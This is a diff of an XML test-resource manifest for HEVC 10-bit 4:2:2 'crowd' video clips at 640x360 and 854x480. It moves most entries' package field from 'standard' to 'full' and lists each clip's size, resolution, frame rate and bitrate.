   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=7992,width=640,height=360,frame-rate=50,profile=,level=,bitrate=83336,package=standard</value>
+    <value>mime=video/hevc,size=7992,width=640,height=360,frame-rate=50,profile=,level=,bitrate=83336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=8667,width=640,height=360,frame-rate=50,profile=,level=,bitrate=91768,package=standard</value>
+    <value>mime=video/hevc,size=8667,width=640,height=360,frame-rate=50,profile=,level=,bitrate=91768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=8797,width=640,height=360,frame-rate=50,profile=,level=,bitrate=93400,package=standard</value>
+    <value>mime=video/hevc,size=8797,width=640,height=360,frame-rate=50,profile=,level=,bitrate=93400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=9207,width=640,height=360,frame-rate=50,profile=,level=,bitrate=98520,package=standard</value>
+    <value>mime=video/hevc,size=9207,width=640,height=360,frame-rate=50,profile=,level=,bitrate=98520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=7988,width=640,height=360,frame-rate=50,profile=,level=,bitrate=83312,package=standard</value>
+    <value>mime=video/hevc,size=7988,width=640,height=360,frame-rate=50,profile=,level=,bitrate=83312,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=115322,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=standard</value>
+    <value>mime=video/hevc,size=115322,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=115456,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1426648,package=standard</value>
+    <value>mime=video/hevc,size=115456,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1426648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_slower.mp4">
-    <value>mime=video/hevc,size=117202,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1448432,package=standard</value>
+    <value>mime=video/hevc,size=117202,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1448432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_slow.mp4">
-    <value>mime=video/hevc,size=114641,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1416456,package=standard</value>
+    <value>mime=video/hevc,size=114641,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1416456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng0.mp4">
-    <value>mime=video/hevc,size=155650,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1929072,package=standard</value>
+    <value>mime=video/hevc,size=155650,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1929072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=115665,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1429256,package=standard</value>
+    <value>mime=video/hevc,size=115665,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1429256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ssim.mp4">
-    <value>mime=video/hevc,size=165220,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2048696,package=standard</value>
+    <value>mime=video/hevc,size=165220,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2048696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=115679,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1429432,package=standard</value>
+    <value>mime=video/hevc,size=115679,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1429432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_superfast.mp4">
-    <value>mime=video/hevc,size=181967,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2258032,package=standard</value>
+    <value>mime=video/hevc,size=181967,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2258032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=115181,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1423200,package=standard</value>
+    <value>mime=video/hevc,size=115181,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1423200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=115878,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1431912,package=standard</value>
+    <value>mime=video/hevc,size=115878,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1431912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=115413,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1426096,package=standard</value>
+    <value>mime=video/hevc,size=115413,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1426096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=115490,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1427056,package=standard</value>
+    <value>mime=video/hevc,size=115490,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1427056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=115330,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=standard</value>
+    <value>mime=video/hevc,size=115330,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1424968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=116155,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1435384,package=standard</value>
+    <value>mime=video/hevc,size=116155,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1435384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=118292,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1462080,package=standard</value>
+    <value>mime=video/hevc,size=118292,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1462080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=116773,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443096,package=standard</value>
+    <value>mime=video/hevc,size=116773,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1443096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=115442,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1426456,package=standard</value>
+    <value>mime=video/hevc,size=115442,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1426456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=115034,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1421360,package=standard</value>
+    <value>mime=video/hevc,size=115034,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1421360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_ultrafast.mp4">
-    <value>mime=video/hevc,size=170197,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2110896,package=standard</value>
+    <value>mime=video/hevc,size=170197,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2110896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=96525,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1190608,package=standard</value>
+    <value>mime=video/hevc,size=96525,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1190608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=116274,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1436832,package=standard</value>
+    <value>mime=video/hevc,size=116274,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1436832,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=115329,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115329,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=115329,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115329,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=115329,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115329,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=115329,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115329,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=116609,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1441056,package=standard</value>
+    <value>mime=video/hevc,size=116609,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1441056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=standard</value>
+    <value>mime=video/hevc,size=115325,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1425008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=116595,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1440880,package=standard</value>
+    <value>mime=video/hevc,size=116595,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1440880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=115597,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1428408,package=standard</value>
+    <value>mime=video/hevc,size=115597,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1428408,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_zerolatency.mp4">
-    <value>mime=video/hevc,size=137127,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1701384,package=standard</value>
+    <value>mime=video/hevc,size=137127,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1701384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=45801,width=854,height=480,frame-rate=50,profile=,level=,bitrate=555936,package=standard</value>
+    <value>mime=video/hevc,size=45801,width=854,height=480,frame-rate=50,profile=,level=,bitrate=555936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=810836,width=854,height=480,frame-rate=50,profile=,level=,bitrate=10118872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=78006,width=854,height=480,frame-rate=50,profile=,level=,bitrate=958496,package=standard</value>
+    <value>mime=video/hevc,size=78006,width=854,height=480,frame-rate=50,profile=,level=,bitrate=958496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1640924,width=854,height=480,frame-rate=50,profile=,level=,bitrate=20494968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=345554,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4302848,package=standard</value>
+    <value>mime=video/hevc,size=345554,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4302848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=343530,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4277544,package=standard</value>
+    <value>mime=video/hevc,size=343530,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4277544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=195091,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2422056,package=standard</value>
+    <value>mime=video/hevc,size=195091,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2422056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=191342,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2375208,package=standard</value>
+    <value>mime=video/hevc,size=191342,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2375208,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=198076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2459368,package=standard</value>
+    <value>mime=video/hevc,size=198076,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2459368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=47915,width=854,height=480,frame-rate=50,profile=,level=,bitrate=582360,package=standard</value>
+    <value>mime=video/hevc,size=47915,width=854,height=480,frame-rate=50,profile=,level=,bitrate=582360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=398689,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4967032,package=full</value>
@@ -15363,157 +15363,157 @@
     <value>mime=video/hevc,size=536346,width=854,height=480,frame-rate=50,profile=,level=,bitrate=6690848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_aud.mp4">
-    <value>mime=video/hevc,size=189239,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348912,package=standard</value>
+    <value>mime=video/hevc,size=189239,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=172666,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2142344,package=standard</value>
+    <value>mime=video/hevc,size=172666,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2142344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_b_adapt_1.mp4">
-    <value>mime=video/hevc,size=216340,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2687672,package=standard</value>
+    <value>mime=video/hevc,size=216340,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2687672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=189183,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348200,package=standard</value>
+    <value>mime=video/hevc,size=189183,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=188410,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2338536,package=standard</value>
+    <value>mime=video/hevc,size=188410,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2338536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=188881,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2344424,package=standard</value>
+    <value>mime=video/hevc,size=188881,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2344424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=189612,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2353560,package=standard</value>
+    <value>mime=video/hevc,size=189612,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2353560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=189876,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2356848,package=standard</value>
+    <value>mime=video/hevc,size=189876,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2356848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=191213,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2373584,package=standard</value>
+    <value>mime=video/hevc,size=191213,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2373584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_cra16.mp4">
-    <value>mime=video/hevc,size=209972,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2607256,package=standard</value>
+    <value>mime=video/hevc,size=209972,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2607256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_crf0.mp4">
     <value>mime=video/hevc,size=6152105,width=854,height=480,frame-rate=50,profile=,level=,bitrate=76884736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=14901,width=854,height=480,frame-rate=50,profile=,level=,bitrate=169680,package=standard</value>
+    <value>mime=video/hevc,size=14901,width=854,height=480,frame-rate=50,profile=,level=,bitrate=169680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=190633,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2366360,package=standard</value>
+    <value>mime=video/hevc,size=190633,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2366360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=189073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2346856,package=standard</value>
+    <value>mime=video/hevc,size=189073,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2346856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=190071,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2359312,package=standard</value>
+    <value>mime=video/hevc,size=190071,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2359312,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_faster.mp4">
-    <value>mime=video/hevc,size=164302,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2037800,package=standard</value>
+    <value>mime=video/hevc,size=164302,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2037800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_fast.mp4">
-    <value>mime=video/hevc,size=168702,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2092800,package=standard</value>
+    <value>mime=video/hevc,size=168702,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2092800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_grain.mp4">
-    <value>mime=video/hevc,size=306410,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3813560,package=standard</value>
+    <value>mime=video/hevc,size=306410,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3813560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=189946,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357744,package=standard</value>
+    <value>mime=video/hevc,size=189946,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=189754,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355344,package=standard</value>
+    <value>mime=video/hevc,size=189754,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=191098,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2372144,package=standard</value>
+    <value>mime=video/hevc,size=191098,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2372144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_idr16.mp4">
-    <value>mime=video/hevc,size=212192,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2635768,package=standard</value>
+    <value>mime=video/hevc,size=212192,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2635768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=189251,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349056,package=standard</value>
+    <value>mime=video/hevc,size=189251,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_lossless.mp4">
     <value>mime=video/hevc,size=18031856,width=854,height=480,frame-rate=50,profile=,level=,bitrate=225381632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=189258,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349144,package=standard</value>
+    <value>mime=video/hevc,size=189258,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=189273,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349344,package=standard</value>
+    <value>mime=video/hevc,size=189273,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349344,package=full</value>
   </entry>
